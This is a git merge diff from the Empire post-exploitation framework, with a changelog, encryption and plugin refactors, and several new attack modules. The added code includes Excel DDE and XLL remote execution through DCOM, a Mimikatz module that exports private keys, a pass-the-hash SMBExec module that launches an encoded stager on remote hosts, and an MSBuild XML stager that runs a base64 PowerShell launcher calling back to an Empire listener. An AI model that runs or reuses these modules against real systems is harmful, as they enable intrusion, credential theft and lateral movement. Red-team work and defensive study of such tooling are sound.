Merge branch 'dev' of https://github.com/EmpireProject/Empire into dev

changelog

@@ -1,3 +1,27 @@
+Running
+------------
+- Added Kevin Robertson's Invoke-SMBExec.ps1
+- Update Invoke-DCOM
+
+10/29/2017
+------------
+- Version 2.3 Master Release
+	— Fix for #755
+	— Merge PR from byt3bl33d3r for TLS version
+	— Removed option to set chunk size for file downloads
+	— Fix for #729 (Unable to download files with spaces)
+	— Fix renegotiation in powershell agent. Patched python agent to exit on 401 response.
+	— Fix for #774 (Fix pyinstaller module)
+	— Added resource scripts capability (Carrie Roberts)
+	— Fix for #749 (Fix external agent modules)
+	— Fix for #369 (Fixed http_hop listener with ssl and self-signed certificate)
+	— Merge Invoke-PowerDump fix
+	— Merge fixes for 718 (Fix generate function signature for module @nikaiw)
+	— Merge fixes for 762 (Code cleanup from EmPyre @elitest)
+	— Merge ntds execution module (@hightopfade)
+	— Updated generate function signatures in all modules
+	— Fixed stagerURI option (rvrsh3ll)
+
 10/12/2017
 --------
 - Version 2.2 Master Release

data/agent/stagers/dropbox.py

@@ -51,15 +51,10 @@ ADDITIONAL_IDS = {}
 for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
 
 # If a secure random number generator is unavailable, exit with an error.
-try:
 try:
     import ssl
     random_function = ssl.RAND_bytes
     random_provider = "Python SSL"
-    except (AttributeError, ImportError):
-        import OpenSSL
-        random_function = OpenSSL.rand.bytes
-        random_provider = "OpenSSL"
 except:
     random_function = os.urandom
     random_provider = "os.urandom"

data/agent/stagers/http.py

@@ -54,15 +54,10 @@ for name, ID in ADDITIONAL.items(): ADDITIONAL_IDS[ID] = name
 
 
 # If a secure random number generator is unavailable, exit with an error.
-try:
 try:
     import ssl
     random_function = ssl.RAND_bytes
     random_provider = "Python SSL"
-    except (AttributeError, ImportError):
-        import OpenSSL
-        random_function = OpenSSL.rand.bytes
-        random_provider = "OpenSSL"
 except:
     random_function = os.urandom
     random_provider = "os.urandom"

data/module_source/lateral_movement/Invoke-DCOM.ps1

@@ -24,11 +24,11 @@ function Invoke-DCOM {
 
         Invoke commands on remote hosts via MMC20.Application COM object over DCOM.
 
-    .PARAMETER Target
+    .PARAMETER ComputerName
 
         IP Address or Hostname of the remote system
 
-    .PARAMETER Type
+    .PARAMETER Method
 
         Specifies the desired type of execution
 
@@ -39,8 +39,9 @@ function Invoke-DCOM {
     .EXAMPLE
 
         Import-Module .\Invoke-DCOM.ps1
-        Invoke-DCOM -Target '192.168.2.100' -Type MMC20 -Command "calc.exe"
+        Invoke-DCOM -ComputerName '192.168.2.100' -Method MMC20.Application -Command "calc.exe"
-        Invoke-DCOM -Target '192.168.2.100' -Type ServiceStart "MyService"
+        Invoke-DCOM -ComputerName '192.168.2.100' -Method ExcelDDE -Command "calc.exe"
+        Invoke-DCOM -ComputerName '192.168.2.100' -Method ServiceStart "MyService"
 #>
 
     [CmdletBinding()]
@@ -50,9 +51,10 @@ function Invoke-DCOM {
         $ComputerName,
 
         [Parameter(Mandatory = $true, Position = 1)]
-        [ValidateSet("MMC20", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart")]
+        [ValidateSet("MMC20.Application", "ShellWindows","ShellBrowserWindow","CheckDomain","ServiceCheck","MinimizeAll","ServiceStop","ServiceStart",
+        "DetectOffice","RegisterXLL","ExcelDDE")]
         [String]
-        $Method = "MMC20",
+        $Method = "MMC20.Application",
 
         [Parameter(Mandatory = $false, Position = 2)]
         [string]
@@ -60,7 +62,12 @@ function Invoke-DCOM {
 
         [Parameter(Mandatory = $false, Position = 3)]
         [string]
-        $Command= "calc.exe"
+        $Command= "calc.exe",
+
+        [Parameter(Mandatory = $false, Position = 4)]
+        [string]
+        $DllPath
+
     )
 
     Begin {
@@ -108,7 +115,7 @@ function Invoke-DCOM {
         #Begin main process block
 
         #Check for which type we are using and apply options accordingly
-        if ($Method -Match "MMC20") {
+        if ($Method -Match "MMC20.Application") {
 
             $Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
             $Obj = [System.Activator]::CreateInstance($Com)
@@ -163,6 +170,26 @@ function Invoke-DCOM {
             $Obj = [System.Activator]::CreateInstance($Com)
             $obj.Document.Application.ServiceStart("$ServiceName")
         }
+        elseif ($Method -Match "DetectOffice") {
+
+            $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
+            $Obj = [System.Activator]::CreateInstance($Com)
+            $isx64 = [boolean]$obj.Application.ProductCode[21]
+            Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
+        }
+        elseif ($Method -Match "RegisterXLL") {
+
+            $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
+            $Obj = [System.Activator]::CreateInstance($Com)
+            $obj.Application.RegisterXLL("$DllPath")
+        }
+        elseif ($Method -Match "ExcelDDE") {
+
+            $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
+            $Obj = [System.Activator]::CreateInstance($Com)
+            $Obj.DisplayAlerts = $false
+            $Obj.DDEInitiate("cmd", "/c $Command")
+        }
     }
 
     End {

lib/common/empire.py

@@ -21,6 +21,8 @@ import hashlib
 import time
 import fnmatch
 import shlex
+import pkgutil
+import importlib
 
 # Empire imports
 import helpers
@@ -30,6 +32,7 @@ import listeners
 import modules
 import stagers
 import credentials
+import plugins
 from zlib_wrapper import compress
 from zlib_wrapper import decompress
 
@@ -68,6 +71,10 @@ class MainMenu(cmd.Cmd):
         # globalOptions[optionName] = (value, required, description)
         self.globalOptions = {}
 
+        # currently active plugins:
+        # {'pluginName': classObject}
+        self.loadedPlugins = {}
+
         # empty database object
         self.conn = self.database_connect()
         time.sleep(1)
@@ -381,6 +388,51 @@ class MainMenu(cmd.Cmd):
     # CMD methods
     ###################################################
 
+    def do_plugins(self, args):
+        "List all available and active plugins."
+        pluginPath = os.path.abspath("plugins")
+        print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
+        # From walk_packages: "Note that this function must import all packages
+        # (not all modules!) on the given path, in order to access the __path__
+        # attribute to find submodules."
+        pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
+        numFound = len(pluginNames)
+
+        # say how many we found, handling the 1 case
+        if numFound == 1:
+            print(helpers.color("[*] {} plugin found".format(numFound)))
+        else:
+            print(helpers.color("[*] {} plugins found".format(numFound)))
+
+        # if we found any, list them
+        if numFound > 0:
+            print("\tName\tActive")
+            print("\t----\t------")
+            activePlugins = self.loadedPlugins.keys()
+            for name in pluginNames:
+                active = ""
+                if name in activePlugins:
+                    active = "******"
+                print("\t" + name + "\t" + active)
+
+        print("")
+        print(helpers.color("[*] Use \"plugin <plugin name>\" to load a plugin."))
+
+    def do_plugin(self, pluginName):
+        "Load a plugin file to extend Empire."
+        pluginPath = os.path.abspath("plugins")
+        print(helpers.color("[*] Searching for plugins at {}".format(pluginPath)))
+        # From walk_packages: "Note that this function must import all packages
+        # (not all modules!) on the given path, in order to access the __path__
+        # attribute to find submodules."
+        pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])]
+        if pluginName in pluginNames:
+            print(helpers.color("[*] Plugin {} found.".format(pluginName)))
+            # 'self' is the mainMenu object
+            plugins.load_plugin(self, pluginName)
+        else:
+            raise Exception("[!] Error: the plugin specified does not exist in {}.".format(pluginPath))
+
     def postcmd(self, stop, line):
 	if len(self.resourceQueue) > 0:
 	    nextcmd = self.resourceQueue.pop(0)

lib/common/encryption.py

@@ -22,6 +22,7 @@ Includes:
 import base64
 import hashlib
 import hmac
+import os
 import string
 import M2Crypto
 
@@ -57,11 +58,9 @@ try:
     import ssl
     random_function = ssl.RAND_bytes
     random_provider = "Python SSL"
-except (AttributeError, ImportError):
+except:
-    import OpenSSL
+    random_function = os.urandom
-    random_function = OpenSSL.rand.bytes
+    random_provider = "os.urandom"
-    random_provider = "OpenSSL"
-
 
 def pad(data):
     """
@@ -285,7 +284,7 @@ class DiffieHellman(object):
                 _rand = int.from_bytes(random_function(_bytes), byteorder='big')
             except:
                 # Python 2
-                _rand = int(OpenSSL.rand.bytes(_bytes).encode('hex'), 16)
+                _rand = int(random_function(_bytes).encode('hex'), 16)
 
         return _rand
 

lib/common/plugins.py

@@ -0,0 +1,41 @@
+""" Utilities and helpers and etc. for plugins """
+
+import importlib
+
+import lib.common.helpers as helpers
+
+def load_plugin(mainMenu, pluginName):
+    """ Given the name of a plugin and a menu object, load it into the menu """
+    # note the 'plugins' package so the loader can find our plugin
+    fullPluginName = "plugins." + pluginName
+    module = importlib.import_module(fullPluginName)
+    pluginObj = module.Plugin(mainMenu)
+    mainMenu.loadedPlugins[pluginName] = pluginObj
+
+class Plugin(object):
+    # to be overwritten by child
+    description = "This is a description of this plugin."
+
+    def __init__(self, mainMenu):
+        # having these multiple messages should be helpful for debugging
+        # user-reported errors (can narrow down where they happen)
+        print(helpers.color("[*] Initializing plugin..."))
+        # any future init stuff goes here
+
+        print(helpers.color("[*] Doing custom initialization..."))
+        # do custom user stuff
+        self.onLoad()
+
+        # now that everything is loaded, register functions and etc. onto the main menu
+        print(helpers.color("[*] Registering plugin with menu..."))
+        self.register(mainMenu)
+
+    def onLoad(self):
+        """ Things to do during init: meant to be overridden by
+        the inheriting plugin. """
+        pass
+
+    def register(self, mainMenu):
+        """ Any modifications made to the main menu are done here
+        (meant to be overriden by child) """
+        pass

lib/listeners/http.py

@@ -250,8 +250,7 @@ class Listener:
                             stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
                         else:
                             # TODO: implement form for other proxy
-                            stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
+                            stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');")
-                            stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
                             stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
                         if proxyCreds.lower() == "default":
                             stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
@@ -259,9 +258,13 @@ class Listener:
                             # TODO: implement form for other proxy credentials
                             username = proxyCreds.split(':')[0]
                             password = proxyCreds.split(':')[1]
-                            domain = username.split('\\')[0]
+                            if len(username.split('\\')) > 1:
                                 usr = username.split('\\')[1]
+                                domain = username.split('\\')[0]
                                 stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
+                            else:
+                                usr = username.split('\\')[0]
+                                stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
                             stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
 
                         #save the proxy settings to use during the entire staging process and the agent

lib/modules/powershell/credentials/mimikatz/keys.py

@@ -0,0 +1,78 @@
+from lib.common import helpers
+
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        self.info = {
+            'Name': 'Invoke-Mimikatz DumpKeys',
+
+            'Author': ['@JosephBialek', '@gentilkiwi'],
+
+            'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
+                            "to extract all keys to the local directory."),
+
+            'Background' : True,
+
+            'OutputExtension' : None,
+            
+            'NeedsAdmin' : True,
+
+            'OpsecSafe' : True,
+
+            'Language' : 'powershell',
+
+            'MinLanguageVersion' : '2',
+            
+            'Comments': [
+                'http://clymb3r.wordpress.com/',
+                'http://blog.gentilkiwi.com'
+            ]
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent' : {
+                'Description'   :   'Agent to run module on.',
+                'Required'      :   True,
+                'Value'         :   ''
+            }
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+        
+        for param in params:
+            # parameter format is [Name, Value]
+            option, value = param
+            if option in self.options:
+                self.options[option]['Value'] = value
+
+
+    def generate(self, obfuscate=False, obfuscationCommand=""):
+        
+        # read in the common module source code
+        moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
+        if obfuscate:
+            helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
+            moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
+        try:
+            f = open(moduleSource, 'r')
+        except:
+            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+            return ""
+
+        moduleCode = f.read()
+        f.close()
+
+        script = moduleCode
+        
+        # add in the key dumping command
+        scriptEnd = """Invoke-Mimikatz -Command 'crypto::capi privilege::debug crypto::cng "crypto::keys /export"' """
+        if obfuscate:
+            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+        script += scriptEnd
+        return script

lib/modules/powershell/lateral_movement/invoke_dcom.py

@@ -46,7 +46,7 @@ class Module:
                 'Value'         :   ''
             },
             'Method' : {
-                'Description'   :   'COM method to use.',
+                'Description'   :   'COM method to use. MMC20.Application,ShellWindows,ShellBrowserWindow,ExcelDDE',
                 'Required'      :   True,
                 'Value'         :   'ShellWindows'
             },

lib/modules/powershell/lateral_movement/invoke_smbexec.py

@@ -0,0 +1,154 @@
+from lib.common import helpers
+
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        self.info = {
+            'Name': 'Invoke-SMBExec',
+
+            'Author': ['@rvrsh3ll'],
+
+            'Description': ('Executes a stager on remote hosts using SMBExec.ps1'),
+
+            'Background' : False,
+
+            'OutputExtension' : None,
+            
+            'NeedsAdmin' : False,
+
+            'OpsecSafe' : True,
+
+            'Language' : 'powershell',
+
+            'MinLanguageVersion' : '2',
+            
+            'Comments': ["https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-SMBExec.ps1"]
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent' : {
+                'Description'   :   'Agent to run module on.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'CredID' : {
+                'Description'   :   'CredID from the store to use.',
+                'Required'      :   False,
+                'Value'         :   ''                
+            },
+            'ComputerName' : {
+                'Description'   :   'Host[s] to execute the stager on, comma separated.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Username' : {
+                'Description'   :   'Username.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Domain' : {
+                'Description'   :   'Domain.',
+                'Required'      :   False,
+                'Value'         :   ''
+            },
+            'Hash' : {
+                'Description'   :   'NTLM Hash in LM:NTLM or NTLM format.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Service' : {
+                'Description'   :   'Name of service to create and delete. Defaults to 20 char random.',
+                'Required'      :   False,
+                'Value'         :   ''
+            },
+            'Listener' : {
+                'Description'   :   'Listener to use.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'UserAgent' : {
+                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
+                'Required'      :   False,
+                'Value'         :   'default'
+            },
+            'Proxy' : {
+                'Description'   :   'Proxy to use for request (default, none, or other).',
+                'Required'      :   False,
+                'Value'         :   'default'
+            },
+            'ProxyCreds' : {
+                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
+                'Required'      :   False,
+                'Value'         :   'default'
+            }
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        for param in params:
+            # parameter format is [Name, Value]
+            option, value = param
+            if option in self.options:
+                self.options[option]['Value'] = value
+
+
+    def generate(self, obfuscate=False, obfuscationCommand=""):
+        
+        listenerName = self.options['Listener']['Value']
+        computerName = self.options['ComputerName']['Value']
+        userName = self.options['Username']['Value']
+        NTLMhash = self.options['Hash']['Value']
+        domain = self.options['Domain']['Value']
+        service = self.options['Service']['Value']
+        userAgent = self.options['UserAgent']['Value']
+        proxy = self.options['Proxy']['Value']
+        proxyCreds = self.options['ProxyCreds']['Value']
+
+        moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-SMBExec.ps1"
+        if obfuscate:
+            helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
+            moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
+        try:
+            f = open(moduleSource, 'r')
+        except:
+            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
+            return ""
+
+        moduleCode = f.read()
+        f.close()
+
+        script = moduleCode
+
+
+
+
+        if not self.mainMenu.listeners.is_listener_valid(listenerName):
+            # not a valid listener, return nothing for the script
+            print helpers.color("[!] Invalid listener: " + listenerName)
+            return ""
+
+        else:
+
+            # generate the PowerShell one-liner with all of the proper options set
+            launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
+
+            if launcher == "":
+                print helpers.color("[!] Error in launcher generation.")
+                return ""
+            else:
+
+                stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
+                scriptEnd = "Invoke-SMBExec -Target %s -Username %s -Domain %s -Hash %s -Command '%s'" % (computerName, userName, domain, NTLMhash, stagerCmd)
+
+
+        scriptEnd += "| Out-String | %{$_ + \"`n\"};"
+        if obfuscate:
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+        script += scriptEnd
+        return script

lib/stagers/windows/launcher_xml.py

@@ -0,0 +1,160 @@
+from lib.common import helpers
+
+class Stager:
+
+    def __init__(self, mainMenu, params=[]):
+
+        self.info = {
+            'Name': 'msbuild_xml',
+
+            'Author': ['@p3nt4'],
+
+            'Description': ('Generates an XML file to be run with MSBuild.exe'),
+
+            'Comments': [
+                'On the endpoint simply launch MSBuild.exe payload.xml'
+            ]
+        }
+
+        # any options needed by the stager, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Listener': {
+                'Description':   'Listener to generate stager for.',
+                'Required':   True,
+                'Value':   ''
+            },
+            'Language' : {
+                'Description'   :   'Language of the stager to generate.',
+                'Required'      :   True,
+                'Value'         :   'powershell'
+            },
+            'StagerRetries': {
+                'Description':   'Times for the stager to retry connecting.',
+                'Required':   False,
+                'Value':   '0'
+            },
+            'Obfuscate' : {
+                'Description'   :   'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.',
+                'Required'      :   False,
+                'Value'         :   'False'
+            },
+            'ObfuscateCommand' : {
+                'Description'   :   'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.',
+                'Required'      :   False,
+                'Value'         :   r'Token\All\1,Launcher\STDIN++\12467'
+            },
+            'OutFile': {
+                'Description':   'File to output XML to, otherwise displayed on the screen.',
+                'Required':   False,
+                'Value':   '/tmp/launcher.xml'
+            },
+            'UserAgent': {
+                'Description':   'User-agent string to use for the staging request (default, none, or other).',
+                'Required':   False,
+                'Value':   'default'
+            },
+            'Proxy': {
+                'Description':   'Proxy to use for request (default, none, or other).',
+                'Required':   False,
+                'Value':   'default'
+            },
+            'ProxyCreds': {
+                'Description':   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
+                'Required':   False,
+                'Value':   'default'
+            }
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        for param in params:
+            # parameter format is [Name, Value]
+            option, value = param
+            if option in self.options:
+                self.options[option]['Value'] = value
+
+    def generate(self):
+
+        # extract all of our options
+        language = self.options['Language']['Value']
+        listenerName = self.options['Listener']['Value']
+        obfuscate = self.options['Obfuscate']['Value']
+        obfuscateCommand = self.options['ObfuscateCommand']['Value']
+        userAgent = self.options['UserAgent']['Value']
+        proxy = self.options['Proxy']['Value']
+        proxyCreds = self.options['ProxyCreds']['Value']
+        stagerRetries = self.options['StagerRetries']['Value']
+
+        encode = True
+            
+        obfuscateScript = False
+        if obfuscate.lower() == "true":
+            obfuscateScript = True
+
+        # generate the launcher code
+        launcher = self.mainMenu.stagers.generate_launcher(
+            listenerName, language=language, encode=encode, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
+
+        launcher_array=launcher.split()
+        if len(launcher_array) > 1:
+            print helpers.color("[*] Removing Launcher String")
+            launcher = launcher_array[-1]
+
+        if launcher == "":
+            print helpers.color("[!] Error in launcher command generation.")
+            return ""
+        else:
+                code ="<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">"
+                code += "<Target Name=\"EmpireStager\">"
+                code += "<ClassExample />"
+                code += "</Target>"
+                code += "<UsingTask "
+                code += "TaskName=\"ClassExample\" "
+                code += "TaskFactory=\"CodeTaskFactory\" "
+                code += "AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\" >"
+                code += "<Task>"
+                code += "<Reference Include=\"System.Management.Automation\" />"
+                code += "<Using Namespace=\"System\" />"
+                code += "<Using Namespace=\"System.IO\" />"
+                code += "<Using Namespace=\"System.Reflection\" />"
+                code += "<Using Namespace=\"System.Collections.Generic\" />"
+                code += "<Code Type=\"Class\" Language=\"cs\">"
+                code += "<![CDATA[ "
+                code += "using System;"
+                code += "using System.IO;"
+                code += "using System.Diagnostics;"
+                code += "using System.Reflection;"
+                code += "using System.Runtime.InteropServices;"
+                code += "using System.Collections.ObjectModel;"
+                code += "using System.Management.Automation;"
+                code += "using System.Management.Automation.Runspaces;"
+                code += "using System.Text;"
+                code += "using Microsoft.Build.Framework;"
+                code += "using Microsoft.Build.Utilities;"
+                code += "public class ClassExample :  Task, ITask"
+                code += "{"
+                code += "public override bool Execute()"
+                code += "{"
+                code += "byte[] data = Convert.FromBase64String(\""+launcher+"\");string script = Encoding.Unicode.GetString(data);"
+                code += "PSExecute(script);"
+                code += "return true;"
+                code += "}"
+                code += "public static void PSExecute(string cmd)"
+                code += "{"
+                code += "Runspace runspace = RunspaceFactory.CreateRunspace();"
+                code += "runspace.Open();"
+                code += "Pipeline pipeline = runspace.CreatePipeline();"
+                code += "pipeline.Commands.AddScript(cmd);"
+                code += "pipeline.InvokeAsync();"
+                code += "}"
+                code += "}"
+                code += " ]]>"
+                code += "</Code>"
+                code += "</Task>"
+                code += "</UsingTask>"
+                code += "</Project>"
+        return code

plugins/example.py

@@ -0,0 +1,35 @@
+""" An example of a plugin. """
+
+from lib.common.plugins import Plugin
+import lib.common.helpers as helpers
+
+# anything you simply write out (like a script) will run immediately when the
+# module is imported (before the class is instantiated)
+print("Hello from your new plugin!")
+
+# this class MUST be named Plugin
+class Plugin(Plugin):
+    description = "An example plugin."
+
+    def onLoad(self):
+        """ any custom loading behavior - called by init, so any
+        behavior you'd normally put in __init__ goes here """
+        print("Custom loading behavior happens now.")
+
+        # you can store data here that will persist until the plugin
+        # is unloaded (i.e. Empire closes)
+        self.calledTimes = 0
+
+    def register(self, mainMenu):
+        """ any modifications to the mainMenu go here - e.g.
+        registering functions to be run by user commands """
+        mainMenu.__class__.do_test = self.do_test
+
+    def do_test(self, args):
+        "An example of a plugin function."
+        print("This is executed from a plugin!")
+        print(helpers.color("[*] It can even import Empire functionality!"))
+
+        # you can also store data in the plugin (see onLoad)
+        self.calledTimes += 1
+        print("This function has been called {} times.".format(self.calledTimes))

setup/install.sh

@@ -27,7 +27,7 @@ if lsb_release -d | grep -q "Fedora"; then
 	pip install flask
 	pip install macholib
 	pip install dropbox
-	pip install 'pyopenssl==17.2.0'
+	pip install pyopenssl
 	pip install pyinstaller
 	pip install zlib_wrapper
 	pip install netifaces
@@ -44,7 +44,7 @@ elif lsb_release -d | grep -q "Kali"; then
 	pip install flask
 	pip install macholib
 	pip install dropbox
-	pip install 'pyopenssl==17.2.0'
+	pip install pyopenssl
 	pip install pyinstaller
 	pip install zlib_wrapper
 	pip install netifaces
@@ -85,7 +85,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then
 	pip install pyOpenSSL
 	pip install macholib
 	pip install dropbox
-	pip install 'pyopenssl==17.2.0'
+	pip install pyopenssl
 	pip install pyinstaller
 	pip install zlib_wrapper
 	pip install netifaces
@@ -115,7 +115,7 @@ else
 	 pip install dropbox
 	 pip install cryptography
 	 pip install pyOpenSSL
-	 pip install 'pyopenssl==17.2.0'
+	 pip install pyopenssl
 	 pip install zlib_wrapper
 	 pip install netifaces
 	 pip install M2Crypto